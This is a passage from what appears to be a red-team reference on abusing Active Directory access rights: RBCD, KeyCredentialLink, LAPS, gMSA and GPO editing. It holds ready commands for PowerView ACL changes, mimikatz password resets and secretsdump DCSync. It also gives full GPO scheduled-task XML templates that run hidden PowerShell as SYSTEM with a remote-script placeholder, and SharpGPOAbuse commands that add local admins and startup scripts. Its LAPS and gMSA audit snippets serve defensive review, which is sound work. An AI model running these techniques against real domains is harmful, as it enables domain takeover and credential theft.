| Computer    | <p><code>GenericWrite</code> / <code>WriteProperty</code> to the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute.<br><br><code>msDS-AllowedToActOnBehalfOfOtherIdentity</code>'s <code>Rights-GUID</code>: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79\`</p>                                                                                     | Ability to write a computer account's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, which can lead to remote code execution on the targeted computer through `Kerberos` `resource-based constrained delegation`.                                                                                                                                                                                                                                                                                                      |
| Computer    | <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>msDS-KeyCredentialLink</code>.<br><br><code>msDS-KeyCredentialLink</code>'s <code>Rights-GUID</code>: <code>5b47d60f-6090-40b2-9f37-2a4de88f3063</code>.</p>                                                                                                             | <p>Ability to define or update the <code>msDS-KeyCredentialLink</code> attribute allows to set a <code>Key Credential</code> to request <code>TGT</code> for the machine account through <code>PKINIT</code> authentication (<code>Key Trust</code> model).<br><br>An <code>User to User</code> <code>TGT</code> can be requested, permitting the retrieval of the machine account <code>NTLM</code> hash and ultimately leading to remote code execution on the host (through <code>silver tickets</code> for instance).</p> |

**LAPS password (ms-Mcs-AdmPwd attribute)**

The Microsoft `Local Administrator Password Solution (LAPS)` solution provides management capacity of local account passwords of domain joined computers. Whenever `LAPS` is installed in an Active Directory domain, the domain schema is modified with the addition of two attributes for the computer machine objects:

* `ms-Mcs-AdmPwd`, a `confidential` attribute, which can store one of the machine's local account password (such as the local built-in Administrator for example).
* `ms-Mcs-AdmPwdExpirationTime`, which defines the expiration date of the password stored.

The access to the `LAPS` password is protected through the `ACL` defined on the computer machine account and its `ms-Mcs-AdmPwd` attribute. By default, only the members of the `Domain Admins` group can access (`ReadProperty`) the `LAPS` password. The right to access the `LAPS` password is usually delegated, through utilities such as `Set-AdmPwdReadPasswordPermission`, at the `Organisational Unit (OU)` level, to be applied to every computers object in the `OU`.

The PowerShell cmdlets of the `ActiveDirectory` and the `LAPSToolkit` suite, based on `PowerView`, can be used to enumerate the access to the `LAPS` password:

```bash
# Retrieves all domain-joined computers with LAPS enabled and additionally displays the LAPS password given sufficient privileges (ReadProperty on the ms-Mcs-AdmPwd).
Get-ADComputer -Filter { ms-Mcs-AdmPwdExpirationTime -like "*" } -Properties * | Ft Name,CanonicalName,DNSHostname,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
Get-LAPSComputers
Get-LAPSComputers | Export-Csv -NoTypeInformation -Path <OUTPUT_CSV>

# Retrieves the users or groups that are delegated the ReadProperty right on the ms-Mcs-AdmPwd attribute at the OU level.
Find-LAPSDelegatedGroups
Find-LAPSDelegatedGroups | Export-Csv -NoTypeInformation -Path <OUTPUT_CSV>

# Enumerates every computers objects in the domain with LAPS enabled, parses the eventual ExtendedRight ACL to precisely determine which security principals can read the ms-Mcs-AdmPwd attribute.
# Due to performance issue, will be tremendously long on larger domain.
Find-AdmPwdExtendedRights
Find-AdmPwdExtendedRights | Export-Csv -NoTypeInformation -Path <OUTPUT_CSV>
```

**Kerberos delegation (msDS-AllowedToActOnBehalfOfOtherIdentity attribute)**

The right to write the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of a domain machine account can lead to the remote compromise of the machine, through the exploitation of `Kerberos` `resource-based constrained delegation` implementation. It authorize the service accounts specified in the computer account's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute to impersonate other users on the computer accounts through delegated / `S4U2self` `service tickets`.

This right may be granted:

* specifically through `WriteProperty` / `GenericWrite` on the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute (`GUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79`),
* indirectly through ownership of the machine account,
* directly and indirectly through broader control rights on the machine account (`GenericAll`, `WriteOwner`, `WriteDACL`, `WriteProperty` / `GenericWrite` on all attributes).

Refer to the `[ActiveDirectory] Kerberos delegations` note for more information on how to conduct the machine takeover (after acquiring the right to write the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of a targeted machine).

*WriteOwner to WriteProperty `msDS-AllowedToActOnBehalfOfOtherIdentity`*

`PowerView`'s `Set-DomainObjectOwner` PowerShell cmdlet can be used to change the owner of a domain service or machine account. Ownership of a domain service or machine account can be subsequently leveraged, using `PowerView`'s `Add-DomainObjectAcl` PowerShell cmdlet, to modify the object's `ACL` in order to obtain the right to modify its `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute.

```bash
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
Set-DomainObjectOwner -Verbose -Identity <TARGET_OBJECT_IDENTITY> -OwnerIdentity <IDENTITY>
Set-DomainObjectOwner -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity <TARGET_OBJECT_IDENTITY> -OwnerIdentity <IDENTITY>
```

*Ownership / WriteDACL to WriteProperty `msDS-AllowedToActOnBehalfOfOtherIdentity`*

`PowerView`'s `Add-DomainObjectAcl` PowerShell cmdlet can be used to modify the targeted domain service or machine account's `ACL` in order to grant the specified security principal the `WriteProperty` right on the targeted account `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute.

```bash
# TARGET_OBJECT_IDENTITY: (DistinguishedName (DN), GUID, SID or SamAccountName of the) security object that will be modified.
# PRINCIPALIDENTITY: (DistinguishedName (DN), GUID, SID or SamAccountName of the) security object that will be given the right over the targeted object

Add-DomainObjectAcl -Verbose -TargetIdentity <TARGET_OBJECT_IDENTITY> -PrincipalIdentity <PRINCIPALIDENTITY> -RightsGUID "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -TargetIdentity <TARGET_OBJECT_IDENTITY> -PrincipalIdentity <PRINCIPALIDENTITY> -RightsGUID "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
```

**Computer account's password reset**

The right to reset (`ExtendedRight`'s `ForceChangePassword`) a computer account's password can be leveraged to impersonate the computer account from an Active Directory standpoint. The password update will not be replicated by the Active Directory services to the computer itself. **Remote code execution on the computer** (through Kerberos service tickets) **thus cannot be achieved through a reset of the computer account's password in Active Directory**.

**Resetting a computer account's password using the technique below will greatly impact the computer operability.** For instance, the computer will no longer be able to process domain logons (error: `The trust relationship between this workstation and the primary domain failed`). If conducted on a Domain Controller machine account, the targeted Domain Controller would not be able to authenticate to others Domain Controllers for replication operations.

This attack path can notably be leveraged on computer accounts that are granted the rights to conduct replication operations through the `DRSUAPI` (`Ds-Replication-Get-Changes` and / or `Ds-Replication-Get-Changes-All` rights), such as Domain Controllers.

The `net` Windows built-in utility and `mimikatz`'s `lsadump::setntlm` function can be used to reset a computer account's password. As the Domain Controller that will process the modification cannot be specified using the `net` utility, it is recommended to use `mimikatz`. Knowledge of the Domain Controller on which the update took place is indeed necessary for further authentication using the computer account without waiting for the replication of the new password across the domain. Additionally, `mimikatz` allows the specification of an `NTLM` hash, which can be used to eventually restore the original computer account password.

```bash
net user <MACHINE_ACCOUNT> <NEW_PASSWORD> /domain

# The Domain Controller specified using <DOMAIN_CONTROLLER_FQDN> or <DOMAIN_CONTROLLER_IP>  must be consistent across commands.
mimikatz # lsadump::setntlm /server:<DOMAIN_CONTROLLER_FQDN> /user:<MACHINE_ACCOUNT> /password:<NEW_PASSWORD>

# Conducts DRSUAPI replication operations (DCSync attack) to retrieve the history of the targeted computer account passwords (as well as privileged domain accounts if necessary).
secretsdump.exe -history -dc-ip <DOMAIN_CONTROLLER_IP> [-just-dc-user <MACHINE_ACCOUNT>] '<DOMAIN>/<MACHINE_ACCOUNT>:<NEW_PASSWORD>@<DOMAIN>'
# Restores the previous computer account password using its NTLM hash.
lsadump::setntlm /server:<DOMAIN_CONTROLLER_FQDN> /user:<MACHINE_ACCOUNT> /ntlm:<ORIGINAL_NTLM>
```

**Ability to write the msDS-KeyCredentialLink attribute**

The ability to write a computer object's `msDS-KeyCredentialLink` attribute can lead to the retrieval of the computer account's `NTLM` hash. Refer to the `User - GenericWrite / Write-Property to all attributes or to the msDS-KeyCredentialLink attribute` section of the present note for more information and tooling to modify a computer object's `msDS-KeyCredentialLink` attribute and retrieve its `NTLM` hash.

Using the retrieved computer account's `NTLM` hash:

* Authenticated Active Directory requests can be made under the identity of the computer account.
* Remote code execution can be achieved on the computer using `silver tickets`. A `service ticket (ST)` to the host's services (`HOST/<MACHINE_HOSTNAME>` for instance) can indeed be forged using the `NTLM` hash (which correspond to the Kerberos `RC4` key) of the computer account. Any privileged principals can be impersonated in the forged `ST` in order to remotely execute code on the targeted host. Refer to the `[ActiveDirectory] Exploitation - Kerberos Silver Tickets` note for more information on how to craft and use `silver tickets` for remote code execution.

### group Managed Service Accounts (gMSA)

The ability to write a `group Managed Service Account (gMSA)` object's `msDS-GroupMSAMembership` attribute can lead to the retrieval of the `gMSA` account's password. The right can be directly (`WriteProperty` on the `msDS-GroupMSAMembership` attribute - `Rights-GUID`: `888eedd6-ce04-df40-b462-b8a50e41ba38`) or indirectly (`GenericAll`, `WriteOwner`, or `WriteDacl`) held.

For more information on `gMSAs`, as well as tools and techniques to retrieve and use a `gMSAs`'s password, refer to the `[ActiveDirectory] gMS accounts` note.

**gMSAs ACL enumeration**

The following PowerShell code snippet leverage the PowerShell ActiveDirectory module to retrieve the principals with the direct or indirect rights to modify `gMSAs`'s `msDS-GroupMSAMembership` attribute.

```bash
# Enumerates all principals with direct or indirect rights to retrieve gMSAs' password.
Get-ADServiceAccount -Filter * | ForEach-Object { Get-ACL "AD:\$_" } | Select-Object -ExpandProperty Access | Where-Object {(
$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'`
-or ($_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|888eedd6-ce04-df40-b462-b8a50e41ba38')`
-and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")}

# Enumerates and highlights principals (depending on presupposed risks) with direct or indirect rights to retrieve gMSAs' password.
$PrivilegedPrincipalsRegex = [string]::Join('|', @('Domain Admins', 'Enterprise Admins', 'Domain Controllers', 'Account Operators', 'BUILTIN\\Administrators', 'NT AUTHORITY\\SYSTEM'))
$UnprivilegedPrincipalsRegex = [string]::Join('|', @('Domain Users', 'Everyone', 'Domain Computers', 'Authenticated Users', 'Anonymous', 'Users'))

Get-ADServiceAccount -Filter * | ForEach-Object { Get-ACL "AD:\$_" } | Select-Object -ExpandProperty Access | Where-Object {(
    $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'`
    -or ($_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|888eedd6-ce04-df40-b462-b8a50e41ba38')`
    -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")} | ForEach-Object {

    If ($_.IdentityReference -match $UnprivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Green $_.IdentityReference
      $anyoneCanEnroll = $True
    }

    ElseIf ($_.IdentityReference -match $PrivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Red $_.IdentityReference
    }

    Else { Write-Host -ForegroundColor Yellow $_.IdentityReference }
    $_
    Write-Host "`n"
}
```

**GenericAll | Write-Property to all attributes or to the msDS-GroupMSAMembership attribute**

The following PowerShell code snippet uses cmdlets from the PowerShell ActiveDirectory module to add a principal to the `msDS-GroupMSAMembership` attribute of a specified `gMSA` (while preserving the existing entries):

```bash
$gMSA = "<GMSA_ACCOUNT>"
# Example PRINCIPAL_NAME: <USERNAME> or <GROUPNAME> such as Domain Users,...
$PrincipalToAdd = "<PRINCIPAL_NAME>"

# Retrieves the principal(s) currently allowed to retrieve the gMSA's password.
Write-Host "Current PrincipalsAllowedToRetrieveManagedPassword:"
$originalPrincipalsAllowedToRetrieveManagedPassword = Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSA | Select-Object -ExpandProperty PrincipalsAllowedToRetrieveManagedPassword
$originalPrincipalsAllowedToRetrieveManagedPassword
Write-Host "`n"

# Grants the specified principal the right to retrieve the gMSA's password.
Write-Host "New PrincipalsAllowedToRetrieveManagedPassword:"
$newPrincipalsAllowedToRetrieveManagedPassword = @()
$newPrincipalsAllowedToRetrieveManagedPassword += $originalPrincipalsAllowedToRetrieveManagedPassword
$newPrincipalsAllowedToRetrieveManagedPassword += $PrincipalToAdd
$newPrincipalsAllowedToRetrieveManagedPassword
Set-ADServiceAccount -PrincipalsAllowedToRetrieveManagedPassword $newPrincipalsAllowedToRetrieveManagedPassword $gMSA
Write-Host "`n"

Write-Host "Validation of updated PrincipalsAllowedToRetrieveManagedPassword:"
Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSA
Write-Host "`n"

# The gMSA's password should be retrieve before restoration.

# Restore the gMSA's original PrincipalsAllowedToRetrieveManagedPassword.
Write-Host "Restoring original PrincipalsAllowedToRetrieveManagedPassword:"
Set-ADServiceAccount -PrincipalsAllowedToRetrieveManagedPassword $originalPrincipalsAllowedToRetrieveManagedPassword $gMSA
Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword $gMSA
```

### GPO ACEs exploitation

**GPO enforcement**

GPO can be linked to an Organizational Unit (OU) but not necessarily applied, as an OU can `blocks inheritance` on an not `enforced` linked (`GPLink`) GPO or a conflicting GPO with a higher precedence order may supplant the exploitable GPO.

The precedence order respect the principle that, in case of conflicting settings in GPOs, the last GPO applied will overwrite any settings applied earlier and the GPO closest to the client location in the directory structure will be applied last. Concretely, the precedence order is as follow (from the applied first / lowest in the precedence order to the applied last / highest in the precedence order):

* local GPO
* site GPO
* domain GPO
* OU (for nested OU, the GPO closer to the object being the highest in the precedence order)

Others mechanisms, such as `WMI filtering` (which restrains the application of the GPO depending on the result of a true / false WMI query), or `Security filtering` (which restrains to specific members - users and groups - of security groups) may further influence the GPO enforcement.

For now, `BloodHound` takes into account the `block inheritance` / `enforced` mechanism but not the precedence order nor the `WMI filtering` and `security filtering`.

`PowerView` can also be used to find where exploitable GPO are linked and **possibly** applied by retrieving the `GPLink` attribute of an OU.

```bash
Get-DomainOU -GPLink "<GPO_GUID>" | ForEach-Object {
    Get-DomainComputer -SearchBase "LDAP://$($_.distinguishedname)" | Ft Name
}

# With Credential and Server
Get-DomainOU -Server <DC> -Credential <PSCredential> -GPLink "<GPO_GUID>" | ForEach-Object {
    Get-DomainComputer -Server <DC> -Credential <PSCredential> -SearchBase "LDAP://$($_.distinguishedname)" | Ft Name
}
```

However, this will not take into account the rules of inheritance and precedence.

**Exploitable access rights**

The following access rights can be exploited to ultimately edit a GPO:

| Privilege       | Description                                                                                                                                                                                                                                                                                                                         |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `WriteProperty` | Right to modify the GPO. This specific right is assigned when delegating the permission `Edit settings` through the `Group Management Policy Console (GMPC)`. Note that if the attribute `ObjectAceFlags` has for value `ObjectAceTypePresent` then only the property identified by the `ObjectAceType` attribute will be editable. |
| `WriteOwner`    | Ability to change the owner of the GPO, thus granting complete control over the GPO and notably the ability to edit it. This right is assigned when delegating the permission `Edit settings, delete, modify security` through the `Group Management Policy Console (GMPC)`.                                                        |
| `WriteDacl`     | Ability to change the `DACL` of the GPO object, thus granting complete control over the GPO and notably the ability to edit it. This right is assigned when delegating the permission `Edit settings, delete, modify security` through the `Group Management Policy Console (GMPC)`.                                                |
| `GenericAll`    | Full rights on the GPO object (including `WriteProperty`, `WriteOwner` and `WriteDacl`). This right can only be assigned through the `Advanced Security Settings` of the `Group Management Policy Console (GMPC)` (`Full control`) or by manually modifying the GPO object's ACL.                                                   |
| `GenericWrite`  | Ability to update any non-protected object (almost) all properties values. Similar to `WriteProperty` to `all properties`. Does not appear to be settable through the `Group Management Policy Console (GMPC)`.                                                                                                                     |

The `WriteOwner` access right can be exploited to take ownership of the GPO folder in the `SYSVOL` share using the Windows explorer utility. The advanced Security properties (`Right click -> Properties -> Security -> Advanced`) has an option the change the GPO owner.

**Version numbers**

A GPO can be modified by directly editing the GPO files in the `SYSVOL` directory. However, if doing so, a number of parameters must also be updated.

Indeed, the `versionNumber` attribute of the GPO object and the `Version` attribute within the `GPT.ini` file in the SYSVOL must be increased, otherwise the change made to the GPO won't be replicated on others domain controllers and clients will not pull the changes during normal GPO update cycle.

The `GPT.ini`, located in `\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>`, is a simple text file that can be edited using any text editor or with the following PowerShell one-liner:

```bash
Get-Content -Path "\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"
(Get-Content -Path "\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI") -Replace "^Version=.*","Version=<NEW_VERSION>" | Out-File "\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"

# Get-Content does not support the use of -Credential / -Server.
# In order to use authentication, a new drive must be configured
net use Z: "\\<DC_HOSTNAME | DC_IP>\SYSVOL" <PASSWORD> /user:<DOMAIN>\<USERNAME>

Get-Content -Path "Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"

(Get-Content -Path "Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI") -Replace "^Version=.*","Version=<NEW_VERSION>" | Out-File "Z:\<DOMAIN_FQDN>\Policies\<GPO_GUID>\GPT.INI"

net use Z: /delete
```

The `versionNumber` attribute of the GPO object can be modified using `PowerView`. Note that the `Group Policy` module for PowerShell does not provides any editing cmdlets for existing GPO.

```bash
Get-DomainGPO -Identity "<GPO_NAME | GPO_GUID>" -Properties VersionNumber

Get-DomainGPO -Identity "<GPO_NAME | GPO_GUID>" | Set-DomainObject -Set @{'versionnumber'='<NEW_VERSION>'}
```

**gPCMachineExtensionNames / gPCUserExtensionNames**

The `gPCMachineExtensionNames` or `gPCUserExtensionNames` attributes of a GPO object refer to the machine / user settings modified.

For example, the following GUID must be added in the `gPCMachineExtensionNames` attribute in order to make possible the creation of a new user and/or the update of a local group of the computer the GPO is applied to:

```
# Default extension for GPO modifying the Computer Configuration
{00000000-0000-0000-0000-000000000000} - Core GPO Engine

# User creation or group membership update
{17D89FEC-5C44-4972-B12D-241CAEF74509} - Preference CSE GUID Local users and groups
{79F92669-4224-476C-9C5C-6EFB4D87DF4A} - Preference Tool CSE GUID Local users and groups
```

The `gPCMachineExtensionNames` and `gPCUserExtensionNames` attributes of the GPO object can be modified using `PowerView`. Note that the `Group Policy` module for PowerShell does not provides any editing cmdlets for existing GPO:

```bash
Get-DomainGPO -Identity "<GPO_NAME | GPO_GUID>" -Properties gPCMachineExtensionNames | Select-Object -ExpandProperty gPCMachineExtensionNames

Get-DomainGPO -Identity "<GPO_NAME | GPO_GUID>" | Set-DomainObject -Set @{'gPCMachineExtensionNames'='<{EXISTING_GUID}{NEW_GUID}[...]>'}
```

**\[Example - GPO Machine] User rights**

The `GptTmpl.inf` file, located in `\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\MACHINE\Microsoft\Windows NT\SecEdit\`, can be edited to add user rights to the specified domain or local user.

From an opsec perspective, note that modifying a GPO `[Privilege Rights]` assignation may override another assignation in a GPO with a lower precedence order, resulting in a possible loss of access for legitimate personal. It is thus recommended to first enumerate all GPO being applied on the Organizational Unit before undertaking any changes.

The full list of privileges assign to an user when being added as a member of the local built-in Administrators group is as follow. The `SeRemoteInteractiveLogonRight` and `SeDebugPrivilege` privileges are enough to dump the `LSASS` process through a Remote Desktop access.

```
# SePriv = *<SID>
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeBackupPrivilege
SeBatchLogonRight
SeChangeNotifyPrivilege
SeCreatePagefilePrivilege
SeDebugPrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeInteractiveLogonRight
SeLoadDriverPrivilege
SeMachineAccountPrivilege
SeNetworkLogonRight
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemTimePrivilege
SeTakeOwnershipPrivilege
SeUndockPrivilege
SeEnableDelegationPrivilege
```

The following GUID must be added in the `gPCMachineExtensionNames` attribute if user rights and privileges are defined in the GPO:

```
[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
```

**\[Example - GPO Computer / User] Immediate task**

An immediate task is a task that will be run as soon as the client the GPO is applied to, a computer or an user, refresh its Group Policy.

Computer immediate task can be run under the `NT AUTHORITY\SYSTEM` local built-in account while user immediate task may only run under the identity of the domain account opening the session (with out specifying password, otherwise the tasks impersonate the given domain account).

*Computer immediate task*

A computer immediate task can be created using the `Group Policy Management` utility:

```
Right click on the GPO -> `Edit...`
  -> Computer Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks
     -> Right click -> New -> Immediate Task (At least Windows 7)
        -> "When running the task, use the following user account:", specify `NT AUTHORITY\System`
        -> Check "Run with highest privileges" and "Hidden"
        -> Actions -> New -> "Start a program" -> powershell.exe or cmd.exe with the command to be executed as argument.
```

Or using the following template, in the `ScheduledTasks` file, that will create an immediate task running under the `NT AUTHORITY\SYSTEM` account the specified PowerShell script `<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>`, with three retries, one every minute.

The computer immediate task GPO file paths is:

* `\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\Machine\Preferences\ScheduledTasks`

```
# Update <DOMAIN> and <INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="TEST" image="0" changed="2019-12-14 22:34:06" uid="{BFC35203-A437-4104-90DD-32DC39E2BA39}"><Properties action="C" name="TEST" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author><DOMAIN>\Admininistrator</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><LogonType>S4U</LogonType><RunLevel>HighestAvailable</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command><Arguments>-nop -Win Hidden -exec bypass -c "<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>"</Arguments></Exec>
				</Actions></Task></Properties></ImmediateTaskV2>
</ScheduledTasks>
```

The following GUID must be added in the `gPCMachineExtensionNames` attribute in order to make the immediate task effective:

```
[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
```

*User immediate task*

An user immediate task can be created using the `Group Policy Management` utility:

```
Right click on the GPO -> `Edit...`
  -> User Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks
     -> Right click -> New -> Immediate Task (At least Windows 7)
        -> "When running the task, use the following user account:", specify `%LogonDomain%\%LogonUser%`
        -> Check "Run with highest privileges" and "Hidden"
        -> Actions -> New -> "Start a program" -> powershell.exe or cmd.exe with the command to be executed as argument. In order to hide the PowerShell console to the affected user, the `-Win Hidden` flag must be specified.
```

Or using the following template, in the `ScheduledTasks` file, that will create an immediate task running, under the identity of any account on which the GPO is applied, the specified PowerShell script `<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>`, with three retries, one every minute.

The user immediate task GPO file paths is:

* `\\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\USER\Preferences\ScheduledTasks`

```
# Update <DOMAIN> and <INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="TEST" image="0" changed="2019-12-15 13:23:18" uid="{2EC4BE03-2A6A-4C50-A0E6-7FBEA834E265}"><Properties action="C" name="TEST" runAs="%LogonDomain%\%LogonUser%" logonType="InteractiveToken"><Task version="1.3"><RegistrationInfo><Author><DOMAIN>\Administrator</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>%LogonDomain%\%LogonUser%</UserId><LogonType>InteractiveToken</LogonType><RunLevel>HighestAvailable</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT5M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>false</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command><Arguments>-nop -Win Hidden -exec bypass -c "<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>"</Arguments></Arguments></Exec>
				</Actions></Task></Properties></ImmediateTaskV2>
</ScheduledTasks>
```

The following GUID must be added in the `gPCUserExtensionNames` attribute in order to make the immediate task effective:

```
[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
```

**SharpGPOAbuse**

`SharpGPOAbuse` is a C# tool that can be used to automate the process of exploiting an editable GPO. The utility supports the following exploitation techniques:

* add the specified rights to a domain user
* add a domain user to the local Administrators group of the computer
* add a new computer start up script
* add a new user logon script
* add a computer or user immediate task

```bash
# SharpGPOAbuse can be run on an out of the domain computer through a runas session
runas /NetOnly /user:<DOMAIN>\<USERNAME> powershell.exe
SharpGPOAbuse.exe --DomainController <DC_IP> --Domain <DOMAIN>

# Add the specified rights to an user
# The privileges are specified in a case sensitive comma separated list
# The \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\MACHINE\Microsoft\Windows
NT\SecEdit\GptTmpl.inf file should includes the specified privileges with the given account SID
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeDebugPrivilege,SeAuditPrivilege,SeRemoteInteractiveLogonRight" --UserAccount "<DOMAIN>\<USERNAME>" --GPOName "<GPO_NAME>"

# Add a domain user to the local Administrators group of the computer
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "<DOMAIN>\<USERNAME>" --GPOName "<GPO_NAME>"

# Add a new computer start up or user logon script
# Refer to the "General - Shells" note for starting a reverse PowerShell
SharpGPOAbuse.exe <--AddUserScript | --AddComputerScript> --ScriptName "<SCRIPT_NAME>" --ScriptContents "<SCRIPT>" --GPOName "<GPO_NAME>"
SharpGPOAbuse.exe <--AddUserScript | --AddComputerScript> --ScriptName "GPO_script.ps1" --ScriptContents "powershell.exe -nop -w hidden -c \"<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>\"" --GPOName "<GPO_NAME>"

# Add a new computer or user immediate task
# For some reason starting the --Arguments with "-nop" make SharpGPOAbuse raise an "Unknown argument error"
SharpGPOAbuse.exe <--AddUserTask | --AddComputerTask> --TaskName "<TASKNAME>" --Author "<DOMAIN>\Admininistrator" --Command "cmd.exe | BINARY_PATH>" --Arguments "<ARGUMENTS | /c powershell.exe -nop -w hidden -c \"<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>\">" --GPOName "<GPO_NAME>"
```

### Active Directory Certificate Services

**Exploitable access control on certificate templates**

The access rights defined on a `certificate template` govern the operations that can be conducted on the template itself as well as the principals that can enroll to the template (request certificate(s) based on the specific `certificate template`). These access rights are enforced by the `Certificate Authority (CA)`.

| Privilege                                                                                                                                                                                                                                                                                                | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
